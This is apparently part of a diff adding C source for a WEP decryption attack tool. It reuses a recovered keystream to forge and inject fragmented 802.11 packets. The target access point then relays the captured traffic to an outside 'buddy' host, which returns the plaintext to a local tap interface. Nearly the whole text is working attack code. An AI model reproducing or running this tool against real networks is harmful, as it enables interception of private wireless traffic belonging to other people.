char rtr[6]; + struct in_addr src; + struct in_addr dst; + + char prga[2048]; + int prga_len; + char iv[3]; + char *fname; + + int state; + + struct queue *q; + + char packet[2048]; + int packet_len; + struct timeval last; + int id; + int data_try; + + int seq; + int frag; + + char buddy_data[2048]; + int buddy_got; +}; + +void load_prga(struct params *p) +{ + int fd; + int rd; + + fd = open(p->fname, O_RDONLY); + if (fd == -1) { + p->prga_len = 0; + return; + } + + rd = read(fd, p->iv, 3); + if (rd == -1) + err(1, "read()"); + if (rd != 3) { + printf("Short read\n"); + exit(1); + } + + rd = read(fd, p->prga, sizeof(p->prga)); + if (rd == -1) + err(1, "read()"); + p->prga_len = rd; + + printf("Loaded %d PRGA from %s\n", p->prga_len, p->fname); + close(fd); +} + +int wanted(struct params *p, struct ieee80211_frame *wh, int len) +{ + char *bssid, *sa; + + if (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) { + bssid = wh->i_addr1; + sa = wh->i_addr2; + } + else { + bssid = wh->i_addr2; + sa = wh->i_addr3; + } + + if (memcmp(bssid, p->ap, 6) != 0) + return 0; + + if (!(wh->i_fc[1] & IEEE80211_FC1_WEP)) { + printf("Got non WEP packet...\n"); + return 0; + } + + /* my own shit */ + if (memcmp(p->mac, sa, 6) == 0) + return 0; + + return 1; +} + +void enque(struct params *p, char **buf, struct ieee80211_frame *wh, int len) +{ + struct queue *q = p->q; + int qlen = 0; + char *ret = NULL; + struct queue *last = NULL; + + /* find a slot */ + while (q) { + if (q->live) + qlen++; + else { + /* recycle */ + ret = q->buf; + break; + } + + last = q; + q = q->next; + } + + /* need to create slot */ + if (!q) { + q = (struct queue*) malloc(sizeof(*q)); + if (!q) + err(1, "malloc()"); + memset(q, 0, sizeof(*q)); + + /* insert */ + if (!p->q) + p->q = q; + else { + assert(last); + last->next = q; + } + } + + q->live = 1; + q->buf = *buf; + q->len = len; + q->wh = wh; + q->id = p->id++; + + qlen++; + + if (qlen > 5) + printf("Enque. Size: %d\n", qlen); + *buf = ret; +} + +/********** RIPPED +************/ +unsigned short in_cksum (unsigned short *ptr, int nbytes) { + register long sum; + u_short oddbyte; + register u_short answer; + + sum = 0; + while (nbytes > 1) + { + sum += *ptr++; + nbytes -= 2; + } + + if (nbytes == 1) + { + oddbyte = 0; + *((u_char *) & oddbyte) = *(u_char *) ptr; + sum += oddbyte; + } + + sum = (sum >> 16) + (sum & 0xffff); + sum += (sum >> 16); + answer = ~sum; + return (answer); +} +/************** +************/ + +void send_packet(struct params *p) +{ + int rc; + struct ieee80211_frame *wh; + + rc = inject(p->tx, p->packet, p->packet_len); + if (rc == -1) + err(1, "inject()"); + if (rc != p->packet_len) { + printf("Wrote %d/%d\n", rc, p->packet_len); + exit(1); + } + + p->data_try++; + wh = (struct ieee80211_frame*) p->packet; + wh->i_fc[1] |= IEEE80211_FC1_RETRY; + + if (gettimeofday(&p->last, NULL) == -1) + err(1, "gettimeofday()"); +} + +void send_header(struct params *p, struct queue *q) +{ + struct ieee80211_frame *wh; + short *pseq; + char *ptr; + struct ip *ih; + int len, i; + uLong crc = crc32(0L, Z_NULL, 0); + uLong *pcrc; + + /* 802.11 */ + memset(p->packet, 0, sizeof(p->packet)); + wh = (struct ieee80211_frame *) p->packet; + wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA; + wh->i_fc[0] |= IEEE80211_FC0_SUBTYPE_DATA; + wh->i_fc[1] |= IEEE80211_FC1_DIR_TODS; + wh->i_fc[1] |= IEEE80211_FC1_WEP; + wh->i_fc[1] |= IEEE80211_FC1_MORE_FRAG; + + wh->i_dur[0] = 0x69; + + memcpy(wh->i_addr1, p->ap, 6); + memcpy(wh->i_addr2, p->mac, 6); + memcpy(wh->i_addr3, p->rtr, 6); + + pseq = (short*) wh->i_seq; + p->frag = 0; + p->seq++; + *pseq = seqfn(p->seq, p->frag++); + + /* IV */ + ptr = (char*) (wh+1); + memcpy(ptr, p->iv, 3); + ptr += 4; + + /* LLC/SNAP */ + memcpy(ptr, "\xAA\xAA\x03\x00\x00\x00\x08\x00", 8); + + /* IP */ + ih = (struct ip*) (ptr+8); + ih->ip_v = 4; + ih->ip_hl = 5; + len = q->len - sizeof(*wh) - 4 - 4 + 20; + ih->ip_len = htons(len); + ih->ip_id = htons(q->id); + ih->ip_ttl = 69; + ih->ip_p = 0; + ih->ip_src.s_addr = p->src.s_addr; + ih->ip_dst.s_addr = p->dst.s_addr; + ih->ip_sum = in_cksum((unsigned short*)ih, 20); + + /* ICV */ + len = 8 + 20; + crc = crc32(crc, ptr, len); + pcrc = (uLong*) (ptr+len); + *pcrc = crc; + + /* wepify */ + for (i = 0; i < len + 4; i++) + ptr[i] ^= p->prga[i]; + + p->packet_len = sizeof(*wh) + 4 + len + 4; + p->data_try = 0; + send_packet(p); +} + +void send_queue(struct params *p) +{ + struct queue *q = p->q; + + assert(q); + assert(q->live); + + send_header(p, q); + p->state = S_WAIT_ACK; +} + +void send_data(struct params *p) +{ + struct ieee80211_frame *wh; + short *seq; + struct queue *q = p->q; + char *dst, *src; + int len; + + assert(q); + + /* 802.11 */ + memset(p->packet, 0, sizeof(p->packet)); + wh = (struct ieee80211_frame*) p->packet; + wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA; + wh->i_fc[0] |= IEEE80211_FC0_SUBTYPE_DATA; + wh->i_fc[1] |= IEEE80211_FC1_DIR_TODS; + wh->i_fc[1] |= IEEE80211_FC1_WEP; + + wh->i_dur[0] = 0x69; + + memcpy(wh->i_addr1, p->ap, 6); + memcpy(wh->i_addr2, p->mac, 6); + memcpy(wh->i_addr3, p->rtr, 6); + + seq = (short*) wh->i_seq; + *seq = seqfn(p->seq, p->frag++); + + /* data */ + dst = (char*) (wh+1); + src = (char*) (q->wh+1); + len = q->len - sizeof(*wh); + memcpy(dst, src, len); + + p->packet_len = sizeof(*wh) + len; + p->data_try = 0; + send_packet(p); +} + +void got_ack(struct params *p) +{ + switch (p->frag) { + case 1: + send_data(p); + break; + + case 2: + p->state = S_WAIT_BUDDY; + p->data_try = 69; + break; + } +} + +void read_wifi(struct params *p) +{ + static char *buf = 0; + static int buflen = 4096; + struct ieee80211_frame *wh; + int rc; + + if (!buf) { + buf = (char*) malloc(buflen); + if (!buf) + err(1, "malloc()"); + } + + rc = sniff(p->rx, buf, buflen); + if (rc == -1) + err(1, "sniff()"); + + wh = get_wifi(buf, &rc); + if (!wh) + return; + + /* acks */ + if (frame_type(wh, IEEE80211_FC0_TYPE_CTL, IEEE80211_FC0_SUBTYPE_ACK) && + (memcmp(p->mac, wh->i_addr1, 6) == 0)) { + got_ack(p); + return; + } + + /* data */ + if (frame_type(wh, IEEE80211_FC0_TYPE_DATA, + IEEE80211_FC0_SUBTYPE_DATA)) { + if (!wanted(p, wh, rc)) + return; + + enque(p, &buf, wh, rc); + if (p->state == S_START) + send_queue(p); + return; + } +} + +int connect_buddy(struct params *p) +{ + struct sockaddr_in s_in; + + memset(&s_in, 0, sizeof(s_in)); + s_in.sin_family = PF_INET; + s_in.sin_port = htons(p->port); + s_in.sin_addr.s_addr = p->dst.s_addr; + + if ((p->s = socket(s_in.sin_family, SOCK_STREAM, IPPROTO_TCP)) == -1) + return -1; + + if (connect(p->s, (struct sockaddr*) &s_in, sizeof(s_in)) == -1) + return -1; + + return 0; +} + +void buddy_reset(struct params *p) +{ + p->buddy_got = 0; + + if (connect_buddy(p) == -1) + err(1, "connect_buddy()"); +} + +int buddy_get(struct params *p, int len) +{ + int rd; + + rd = recv(p->s, &p->buddy_data[p->buddy_got], len, 0); + if (rd <= 0) { + buddy_reset(p); + return 0; + } + + p->buddy_got += rd; + return rd == len; +} + +void read_buddy_head(struct params *p) +{ + int rem; + + rem = 4 - p->buddy_got; + + if (!buddy_get(p, rem)) + return; +} + +void read_buddy_data(struct params *p) +{ + unsigned short *ptr = (unsigned short*) p->buddy_data; + int id, len, rem; + struct queue *q = p->q; + struct queue *last = p->q; + char mac[12]; + struct iovec iov[2]; + + id = ntohs(*ptr++); + len = ntohs(*ptr++); + + rem = len + 4 - p->buddy_got; + + assert(rem > 0); + if (!buddy_get(p, rem)) + return; + + /* w00t, got it */ +#if 0 + printf("id=%d len=%d\n", id, len); +#endif + p->buddy_got = 0; + + /* feedback loop bullshit */ + if (!q) + return; + if (!q->live) + return; + + /* sanity chex */ + if (q->id != id) { + printf("Diff ID\n"); + return; + } + + rem = q->len - sizeof(*q->wh) - 4 - 4; + if (rem != len) { + printf("Diff len\n"); + return; + } + + /* tap */ + if (q->wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) { + memcpy(mac, q->wh->i_addr3, 6); + memcpy(&mac[6], q->wh->i_addr2, 6); + } else { + memcpy(mac, q->wh->i_addr1, 6); + memcpy(&mac[6], q->wh->i_addr3, 6); + } + iov[0].iov_base = mac; + iov[0].iov_len = sizeof(mac); + iov[1].iov_base = (char*)ptr + 8 - 2; + iov[1].iov_len = len - 8 + 2; + + rem = writev(p->tap, iov, sizeof(iov)/sizeof(struct iovec)); + if (rem == -1) + err(1, "writev()"); + if (rem != (14+(len-8))) { + printf("Short write %d\n", rem); + exit(1); + } + + /* deque */ + q->live = 0; + if (q->next) { + + p->q = q->next; + + while (last) { + if (!last->next) { + last->next = q; + q->next = 0; + break; + } + last = last->next; + } + } + + /* drain queue */ + p->state = S_START; + if (p->q->live) + send_queue(p); +} + +void read_buddy(struct params *p) +{ + if (p->buddy_got < 4) + read_buddy_head(p); + else + read_buddy_data(p); +} + +void own(struct params *p) +{ + struct timeval tv; + struct timeval *to = NULL; + fd_set fds; + int max; + int tout_ack = 10*1000; + int tout_buddy = 2*1000*1000; + int tout = (p->state == S_WAIT_BUDDY) ? tout_buddy : tout_ack; + + if (p->state == S_WAIT_ACK || p->state == S_WAIT_BUDDY) { + int el; + + /* check timeout */ + if (gettimeofday(&tv, NULL) == -1) + err(1, "gettimeofday()"); + + el = elapsed(&p->last, &tv); + + /* timeout */ + if (el >= tout) { + if (p->data_try > 3) { + p->state = S_START; + return; + } else { + send_packet(p); + el = 0; + } + } + el = tout - el; + tv.tv_sec = el/1000/1000; + tv.tv_usec = el - tv.tv_sec*1000*1000; + to = &tv; + } + + FD_ZERO(&fds); + FD_SET(p->rx, &fds); + FD_SET(p->s, &fds); + max = (p->rx > p->s) ? p->rx : p->s; + + if (select(max+1, &fds, NULL, NULL, to) == -1) + err(1, "select()"); + + if (FD_ISSET(p->rx, &fds)) + read_wifi(p); + if (FD_ISSET(p->s, &fds)) + read_buddy(p); +} + +void usage(char *name) +{ + printf("Usage %s \n" + "-h\thelp\n" + "-d\t\n" + "-p\t\n" + "-b\t\n" + "-t\t\n" + "-r\t\n" + "-s\t\n" + , name); + exit(1); +} + +int main(int argc, char *argv[]) +{ + struct params p; + char *iface = "ath0"; + char *tap = "tap0"; + int ch; + + memset(&p, 0, sizeof(p)); + memcpy(p.mac, "\x00\x00\xde\xfa\xce\xd", 6); + p.fname = "prga.log"; + p.seq = getpid(); + + while ((ch = getopt(argc, argv, "hd:p:b:t:r:s:")) != -1) { + switch (ch) { + case 's': + if (!inet_aton(optarg, &p.src)) { + printf("Can't parse src IP\n"); + exit(1); + } + break; + + case 'r': + if (str2mac(p.rtr, optarg) == -1) { + printf("Can't parse rtr MAC\n"); + exit(1); + } + break; + + case 't': + tap = optarg; + break; + + case 'b': + if (str2mac(p.ap, optarg) == -1) { + printf("Can't parse BSSID\n"); + exit(1); + } + break; + + case 'd': + if (!inet_aton(optarg, &p.dst)) { + printf("Can't parse IP\n"); + exit(1); + } + break; + + case 'p': + p.port = atoi(optarg); + break; + + case 'h': + default: + usage(argv[0]); + break; + } + } + + load_prga(&p); + assert(p.prga_len > 60); + + if ((p.rx = open_rx(iface)) == -1) + err(1, "open_rx()"); + if ((p.tx = open_tx(iface)) == -1) + err(1, "open_tx()"); + + if ((p.tap = open_tap(tap)) == -1) + err(1, "open_tap()"); + if (set_iface_mac(tap, p.mac) == -1) + err(1, "set_iface_mac()"); + + if (connect_buddy(&p) == -1) + err(1, "connect_buddy()"); + + p.state = S_START; + while (1) + own(&p); + + exit(0); +}